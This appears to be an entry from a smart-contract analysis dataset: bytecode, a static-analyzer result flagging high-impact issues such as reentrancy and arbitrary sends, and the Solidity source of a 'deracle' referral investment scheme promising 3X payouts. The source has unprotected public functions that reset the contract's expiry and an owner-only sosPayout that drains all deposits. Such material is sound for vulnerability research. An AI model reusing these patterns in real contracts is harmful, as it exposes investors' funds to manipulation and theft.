ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a54905060006869ed328743a9480000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a546869ed328743a9480000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a16869ed328743a9480000600a546128b790919063ffffffff16565b8210156138c057600a546869ed328743a94800009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ebaf4ac9e2c5023e0b87f71ef4031ec035ec6ddb2a2d42c1c9d82d213e242de764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,604
0xE162281aE7fC5381D8b03Ed2C25e165fCd3cDbA4
pragma solidity ^0.4.23; pragma experimental ABIEncoderV2; // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ // SPDX-License-Identifier: Unlicensed interface IERC20 { function transfer(address recipient, uint256 amount); function transferFrom(address sender, address recipient, uint amount); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address who) public constant returns (uint); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } struct Transfer { address contract_; address to_; uint256 amount_; bool failed_; } /** * @dev Event to notify if transfer successful or failed * after account approval verified */ event TransferSuccessful( address indexed from_, address indexed to_, uint256 amount_ ); event TransferFailed( address indexed from_, address indexed to_, uint256 amount_ ); /** * @dev a list of all transfers successful or unsuccessful */ Transfer public transaction; } contract deracle is Ownable{ struct User{ int32 Id; int8 ReferCount; int8 Level; int32 UplineId; int32 LeftId; int32 RightId; int32 Position; int32 ReferralId; address OwnerAddress; bool IsPayout; bool IsEndGamePayout; uint CreatedBlock; uint CreatedTime; } mapping(uint32 => User) userlistbypos; mapping(uint32 => User) userlistbyid; mapping(address => int32[]) public userids; int8 public currentLevel; int public userCounter = 0; int idcounter = 3; uint32 public nextPosition = 1; address public token; address public owner; address private keeper; address public maintainer; uint public ExpiryInvestmentTimestamp; bool public IsExpired; uint public PayoutAmount; uint public MainterPayoutAmount; int public UnpaidUserCount; int public nextUnpaidUser = 3; IERC20 public ERC20Interface; // uint public investamt = 500000000; // uint public referralamt = 250000000; // uint public maintaineramt = 50000000; uint public investamt = 100000; uint public referralamt = 50000; uint public maintaineramt = 10000; constructor() public { owner = msg.sender; } function Invest(int8 quantity, uint32 uplineId) public returns (bool){ require(quantity > 0, "Minimum Investment Quantity Is 1"); require(isUserExists(uplineId), "Referral Id Does Not Exist"); require(isContractAlive(), "Contract terminated. Investment was helt for more than 365 days"); for(int32 j =0; j < quantity; j++){ //Pay the platform require(!IsExpired, "Contract terminated. Investment was helt for more than 365 days"); require(depositTokens(uplineId)); User memory user; int32[] memory array = new int32[](1); array[0] = 1; if(nextPosition == 1){ user.Id = 1; user.ReferCount = 0; user.Level = 0; user.UplineId = -1; user.LeftId = -1; user.RightId = -1; user.Position = 1; user.ReferralId = -1; user.OwnerAddress = msg.sender; user.IsPayout = true; user.IsEndGamePayout = true; user.CreatedBlock = 0; user.CreatedTime = 0; userlistbyid[1] = user; userlistbypos[1] = user; nextPosition = 2; } userCounter += idcounter; //GET UPLINE User memory upline = userlistbyid[uint32(uplineId)]; //CHECK WHICH SLOT UPLINE MADE int32 connectedUplineId = 0; int32 uplinereferred = upline.ReferCount; if (uplinereferred < 2) //1st / 2nd leg { connectedUplineId = insertNext(uplineId); } else //3rd LEG , RESET , FIND THE SUITABLE NODE { connectedUplineId = insertThird(uplineId); } int isrightleg = 0; if (userlistbyid[uint32(connectedUplineId)].LeftId != -1) { isrightleg = 1; userlistbyid[uint32(connectedUplineId)].RightId = int32(userCounter); } else { userlistbyid[uint32(connectedUplineId)].LeftId = int32(userCounter); } user.Id = int32(userCounter); user.ReferCount = 0; user.Level = userlistbyid[uint32(connectedUplineId)].Level + 1; user.UplineId = int32(connectedUplineId); user.LeftId = -1; user.RightId = -1; user.Position = int32((userlistbyid[uint32(connectedUplineId)].Position * 2) + isrightleg); user.OwnerAddress = msg.sender; user.ReferralId = int32(uplineId); user.IsPayout = false; user.IsEndGamePayout = false; user.CreatedBlock = block_call(); user.CreatedTime = time_call(); if(user.Level > currentLevel){ currentLevel = user.Level; } userlistbyid[uint32(userCounter)] = user; userlistbypos[uint32(user.Position)] = user; userids[msg.sender].push(int32(user.Id)); ExpiryInvestmentTimestamp = time_call() + 365 days; } return true; } function isUserExists(uint32 userid) view internal returns (bool) { if(nextPosition == 1){ return true; } if(userid == 1){ return false; } return (userlistbyid[uint32(userid)].Id != 0); } function isContractAlive() view internal returns (bool){ if(nextPosition == 1){ return true; } if(time_call() < ExpiryInvestmentTimestamp){ return true; } else{ return false; } } function block_call() view internal returns (uint256 blocknumber){ return block.number; } function time_call() view internal returns (uint256 timestamp){ return now; } function insertNext(uint32 uplineId) internal returns (int32 connectedUplineId){ while(true){ if(userlistbypos[uint32(nextPosition)].Id != 0){ nextPosition++; } else{ break; } } int32 previouslevelfirstuplineid = -1; if (nextPosition % 2 == 0) { previouslevelfirstuplineid = int32((nextPosition) / 2); } else { previouslevelfirstuplineid = int32((nextPosition - 1) / 2); } connectedUplineId = userlistbypos[uint32(previouslevelfirstuplineid)].Id; userlistbyid[uint32(uplineId)].ReferCount++; nextPosition++; while(true){ if(userlistbypos[uint32(nextPosition)].Id != 0){ nextPosition++; } else{ break; } } } function insertThird(uint32 uplineId) internal returns (int32 connectedUplineId){ //RESET THE UPLINE COUNT userlistbyid[uint32(uplineId)].ReferCount = 0; //FIND SUITABLE NODE // get the left if empty direct use , if not empty then compare global position value , // if global position more then most right then move next level , until global position is in the middle of left and right then v just loop that particular level uint32 leftposition = uint32(userlistbyid[uint32(uplineId)].Position); uint32 rightposition = uint32(userlistbyid[uint32(uplineId)].Position); while(true){ leftposition = uint32(leftposition * 2); rightposition = uint32(rightposition * 2 + 1); if(nextPosition < leftposition){ //Find empty node between left to rightposition uint32 tempPosition = leftposition; uint32 count = rightposition - leftposition + 1; for(uint32 i = 0; i < count; i++){ if(userlistbypos[tempPosition + i].Id == 0){ connectedUplineId = userlistbypos[(tempPosition + i) / 2].Id; return connectedUplineId; } } } if(leftposition == nextPosition){ connectedUplineId = userlistbypos[nextPosition / 2].Id; return connectedUplineId; } if(rightposition == nextPosition){ connectedUplineId = userlistbypos[(nextPosition - 1) / 2].Id; return connectedUplineId; } if(nextPosition > leftposition && nextPosition < rightposition){ //Inset at next Postion if(nextPosition % 2 == 0){ connectedUplineId = userlistbypos[nextPosition / 2].Id; return connectedUplineId; } else{ connectedUplineId = userlistbypos[(nextPosition - 1) / 2].Id; return connectedUplineId; } } } } function depositTokens( uint32 uplineId ) internal returns (bool success){ require(token != 0x0); address from_ = msg.sender; //Transfer to contract if (investamt > ERC20Interface.allowance(from_, address(this))) { emit TransferFailed(from_, keeper, investamt); revert(); } ERC20Interface.transferFrom(from_, address(this), investamt); emit TransferSuccessful(from_, address(this), investamt); if(nextPosition != 1){ //Transfer to referral ERC20Interface.transfer(userlistbyid[uplineId].OwnerAddress , referralamt); } //Maintainer payout MainterPayoutAmount = MainterPayoutAmount + maintaineramt; UnpaidUserCount++; return true; } function Payout3XReward(uint32 UserId) public{ require(!IsExpired, "Contract has expired."); require(msg.sender == userlistbyid[UserId].OwnerAddress, "Only owner of the investment can claim 3X payment"); if(checkPayoutTree(UserId)){ Payout(UserId); } } function checkPayoutTree(uint32 UserId) view public returns(bool){ if(userlistbyid[UserId].IsPayout){ return false; } int32[] memory list = new int32[](2); User memory user; if(userlistbyid[uint32(UserId)].LeftId != -1){ user = userlistbyid[uint32(userlistbyid[UserId].LeftId)]; if(user.LeftId != -1 && user.RightId != 1){ list[0] = user.LeftId; list[1] = user.RightId; for(uint i = 0; i < list.length; i++){ user = userlistbyid[uint32(list[i])]; if(user.LeftId == -1 || user.RightId == -1){ return false; } } } else{ return false; } } else{ return false; } if(userlistbyid[uint32(UserId)].RightId != -1){ user = userlistbyid[uint32(userlistbyid[uint32(UserId)].RightId)]; if(user.LeftId != -1 && user.RightId != 1){ list[0] = user.LeftId; list[1] = user.RightId; i = 0; for(i = 0; i < list.length; i++){ user = userlistbyid[uint32(list[i])]; if(user.LeftId == -1 || user.RightId == -1){ return false; } } return true; } else{ return false; } } else{ return false; } return false; } function Payout(uint32 UserId) internal{ require(userlistbyid[UserId].IsPayout == false, "User already received 3x payout"); if(userlistbyid[UserId].IsPayout == false){ userlistbyid[UserId].IsPayout = true; ERC20Interface.transfer(userlistbyid[UserId].OwnerAddress, investamt*3); UnpaidUserCount--; } } function PayoutMaintainer() public onlyOwner{ require(maintainer != 0x0, "No mainter account set for payout"); require(MainterPayoutAmount > 0, "Mainter payout balance is 0"); if(MainterPayoutAmount != 0){ address contract_ = token; ERC20Interface = IERC20(contract_); if(nextPosition != 1){ //Transfer to maintainer ERC20Interface.transfer(maintainer , MainterPayoutAmount); MainterPayoutAmount = 0; } } } function getUserByAddress(address userAddress) view public returns (int32[] useridlist){ return userids[userAddress]; } function getUserIds(address userAddress) view public returns (int32[]){ return userids[userAddress]; } function GetTreeByUserId(uint32 UserId, bool report) view public returns (User[]){ //Get Position uint32 userposition = uint32(userlistbyid[uint32(UserId)].Position); //Try to return all data base on position uint userCount = 0; if(report){ userCount = uint((2 ** (uint(currentLevel) + 1)) - 1); } else{ userCount = 15; } User[] memory userlist = new User[](userCount); uint counter = 0; uint32 availablenodes = 2; int8 userlevel = 2; userlist[counter] = userlistbyid[uint32(userlistbypos[userposition].Id)]; counter++; while(true){ userposition = userposition * 2; for(uint32 i = 0; i < availablenodes; i++){ userlist[counter] = userlistbyid[uint32(userlistbypos[userposition + i].Id)]; counter++; } availablenodes = availablenodes * 2; userlevel++; if(report == false){ if(availablenodes > 8){ break; } } else{ if(userlevel > currentLevel){ break; } } } return userlist; } function GetUserById(uint32 userId) view public returns(User user){ user = userlistbyid[userId]; } function CheckInvestmentExpiry() public onlyOwner{ require(!isContractAlive(), "Contract is alive."); require(PayoutAmount == 0, "Contract balance is already calculated."); if(MainterPayoutAmount != 0){ PayoutMaintainer(); } //Current Date - last Investment Date >= 365 days from last investment date timestamp if(!isContractAlive()){ IsExpired = true; uint contractBalance = ERC20Interface.balanceOf(address(this)); PayoutAmount = uint(contractBalance / uint(UnpaidUserCount)); } } function RemainingInvestorPayout(uint quantity) public onlyOwner returns (bool){ require(IsExpired, "Contract Is Still Alive"); require(userCounter >= nextUnpaidUser, "All users are paid"); for(uint32 i = 0; i < quantity; i++){ if(userlistbyid[uint32(nextUnpaidUser)].IsPayout == false && userlistbyid[uint32(nextUnpaidUser)].IsEndGamePayout == false){ userlistbyid[uint32(nextUnpaidUser)].IsEndGamePayout = true; ERC20Interface.transfer(userlistbyid[uint32(nextUnpaidUser)].OwnerAddress, PayoutAmount); UnpaidUserCount--; } nextUnpaidUser += idcounter; if(nextUnpaidUser > userCounter){ return true; } } return true; } function GetContractBalance() view public returns(uint){ return ERC20Interface.balanceOf(address(this)) - MainterPayoutAmount; } function GetMaintainerAmount() view public returns(uint){ return MainterPayoutAmount; } function GetExpiryInvestmentTimestamp() view public returns(uint){ return ExpiryInvestmentTimestamp; } function GetIsExpired() view public returns (bool){ return IsExpired; } function GetUnpaidUserCount() view public returns (int){ return UnpaidUserCount; } function setMaintainer(address address_) public onlyOwner returns (bool) { require(address_ != 0x0); maintainer = address_; return true; } function setToken(address address_) public onlyOwner returns (bool) { require(address_ != 0x0); token = address_; ERC20Interface = IERC20(token); return true; } function testSetExpiryTrue() public{ ExpiryInvestmentTimestamp = time_call() - 366 days; } function testSetExpiryFalse() public{ ExpiryInvestmentTimestamp = time_call(); IsExpired = false; PayoutAmount = 0; } function sosPayout() public onlyOwner{ ERC20Interface.transfer(msg.sender , GetContractBalance()); ERC20Interface.transfer(msg.sender , GetMaintainerAmount()); IsExpired = true; } }
0x6080604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063137e74a4146101f357806313ea5d291461021e578063144fa6d71461025b5780631a107286146102985780631bbc4b83146102af5780631e6c5722146102da5780631f8ddaeb14610305578063278e7244146103305780632e17ae4e1461035b5780632e2d979b14610398578063395bf2a3146103c35780634c313fc2146103da57806369c212f614610417578063715018a614610454578063866d4ea51461046b5780638778a41e1461049657806389e7959f146104ad5780638da5cb5b146104d857806390f671e3146105035780639441492b1461051a57806394e26427146105455780639850d32b14610570578063988006441461059b5780639dc4b9c9146105d8578063a475945f14610603578063a8b33e991461062e578063c1f0934814610659578063c2390b5914610670578063c99de57e1461069b578063cd52de91146106c9578063cf1fd8ff14610706578063cf30347014610743578063d7ad83051461076e578063daa2ceac14610797578063daab9f48146107d4578063efc32b4a146107ff578063f0c37a591461083c578063f2fde38b14610867578063f6d0bf2f14610890578063fc0c546a146108bb575b600080fd5b3480156101ff57600080fd5b506102086108e6565b6040516102159190615a5f565b60405180910390f35b34801561022a57600080fd5b5061024560048036036102409190810190614f46565b6108ec565b604051610252919061583c565b60405180910390f35b34801561026757600080fd5b50610282600480360361027d9190810190614f46565b6109b9565b60405161028f919061583c565b60405180910390f35b3480156102a457600080fd5b506102ad610ae9565b005b3480156102bb57600080fd5b506102c4610cc5565b6040516102d19190615857565b60405180910390f35b3480156102e657600080fd5b506102ef610ceb565b6040516102fc9190615a7a565b60405180910390f35b34801561031157600080fd5b5061031a610d01565b6040516103279190615a5f565b60405180910390f35b34801561033c57600080fd5b50610345610d07565b6040516103529190615a5f565b60405180910390f35b34801561036757600080fd5b50610382600480360361037d9190810190614f6f565b610d0d565b60405161038f919061588d565b60405180910390f35b3480156103a457600080fd5b506103ad610d52565b6040516103ba9190615a5f565b60405180910390f35b3480156103cf57600080fd5b506103d8610d5c565b005b3480156103e657600080fd5b5061040160048036036103fc9190810190614f46565b610d8f565b60405161040e91906157f8565b60405180910390f35b34801561042357600080fd5b5061043e60048036036104399190810190614f46565b610e4c565b60405161044b91906157f8565b60405180910390f35b34801561046057600080fd5b50610469610f09565b005b34801561047757600080fd5b5061048061100b565b60405161048d919061583c565b60405180910390f35b3480156104a257600080fd5b506104ab611022565b005b3480156104b957600080fd5b506104c2611231565b6040516104cf9190615a5f565b60405180910390f35b3480156104e457600080fd5b506104ed61123b565b6040516104fa919061570f565b60405180910390f35b34801561050f57600080fd5b50610518611261565b005b34801561052657600080fd5b5061052f611277565b60405161053c9190615a5f565b60405180910390f35b34801561055157600080fd5b5061055a61127d565b6040516105679190615872565b60405180910390f35b34801561057c57600080fd5b50610585611283565b604051610592919061570f565b60405180910390f35b3480156105a757600080fd5b506105c260048036036105bd9190810190615039565b6112a9565b6040516105cf919061583c565b60405180910390f35b3480156105e457600080fd5b506105ed611db9565b6040516105fa91906158a8565b60405180910390f35b34801561060f57600080fd5b50610618611dcc565b604051610625919061583c565b60405180910390f35b34801561063a57600080fd5b50610643611ddf565b6040516106509190615a5f565b60405180910390f35b34801561066557600080fd5b5061066e611de5565b005b34801561067c57600080fd5b50610685612077565b6040516106929190615872565b60405180910390f35b3480156106a757600080fd5b506106b0612081565b6040516106c0949392919061578a565b60405180910390f35b3480156106d557600080fd5b506106f060048036036106eb9190810190615039565b6120ec565b6040516106fd9190615a43565b60405180910390f35b34801561071257600080fd5b5061072d60048036036107289190810190615062565b6122af565b60405161073a919061581a565b60405180910390f35b34801561074f57600080fd5b50610758612816565b6040516107659190615a5f565b60405180910390f35b34801561077a57600080fd5b5061079560048036036107909190810190615039565b61281c565b005b3480156107a357600080fd5b506107be60048036036107b99190810190614fe7565b61293b565b6040516107cb919061583c565b60405180910390f35b3480156107e057600080fd5b506107e9612c46565b6040516107f69190615872565b60405180910390f35b34801561080b57600080fd5b5061082660048036036108219190810190614fab565b612c4c565b604051610833919061583c565b60405180910390f35b34801561084857600080fd5b50610851613db3565b60405161085e9190615872565b60405180910390f35b34801561087357600080fd5b5061088e60048036036108899190810190614f46565b613db9565b005b34801561089c57600080fd5b506108a5613f0e565b6040516108b29190615a5f565b60405180910390f35b3480156108c757600080fd5b506108d0613fe2565b6040516108dd919061570f565b60405180910390f35b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094957600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561096f57600080fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1657600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610a3c57600080fd5b81600b60046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4457600080fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610b8b613f0e565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401610bc49291906157cf565b600060405180830381600087803b158015610bde57600080fd5b505af1158015610bf2573d6000803e3d6000fd5b50505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610c3d610d52565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401610c769291906157cf565b600060405180830381600087803b158015610c9057600080fd5b505af1158015610ca4573d6000803e3d6000fd5b505050506001601060006101000a81548160ff021916908315150217905550565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900463ffffffff1681565b600f5481565b60165481565b600760205281600052604060002081815481101515610d2857fe5b9060005260206000209060089182820401919006600402915091509054906101000a900460030b81565b6000601254905090565b610d64614008565b600f819055506000601060006101000a81548160ff0219169083151502179055506000601181905550565b6060600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610e4057602002820191906000526020600020906000905b82829054906101000a900460030b60030b81526020019060040190602082600301049283019260010382029150808411610e095790505b50505050509050919050565b6060600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610efd57602002820191906000526020600020906000905b82829054906101000a900460030b60030b81526020019060040190602082600301049283019260010382029150808411610ec65790505b50505050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601060009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107f57600080fd5b611087614010565b1515156110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c090615a23565b60405180910390fd5b6000601154141515611110576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611107906159a3565b60405180910390fd5b600060125414151561112557611124611de5565b5b61112d614010565b151561122e576001601060006101000a81548160ff021916908315150217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016111c5919061570f565b602060405180830381600087803b1580156111df57600080fd5b505af11580156111f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506112179190810190615010565b90506013548181151561122657fe5b046011819055505b50565b6000600f54905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6301e2850061126e614008565b03600f81905550565b60175481565b60145481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060606112b5614d9c565b6000600660008663ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff16156112f55760009350611db1565b60026040519080825280602002602001820160405280156113255781602001602082028038833980820191505090505b5092507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008763ffffffff1663ffffffff168152602001908152602001600020600001600a9054906101000a900460030b60030b1415156118645760066000600660008863ffffffff1663ffffffff168152602001908152602001600020600001600a9054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b141580156115a7575060018260a0015160030b14155b156118565781608001518360008151811015156115c057fe5b9060200190602002019060030b908160030b815250508160a001518360018151811015156115ea57fe5b9060200190602002019060030b908160030b81525050600090505b82518110156118515760066000848381518110151561162057fe5b9060200190602002015163ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b148061183657507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8260a0015160030b145b156118445760009350611db1565b8080600101915050611605565b61185f565b60009350611db1565b61186d565b60009350611db1565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008763ffffffff1663ffffffff168152602001908152602001600020600001600e9054906101000a900460030b60030b141515611dac5760066000600660008863ffffffff1663ffffffff168152602001908152602001600020600001600e9054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff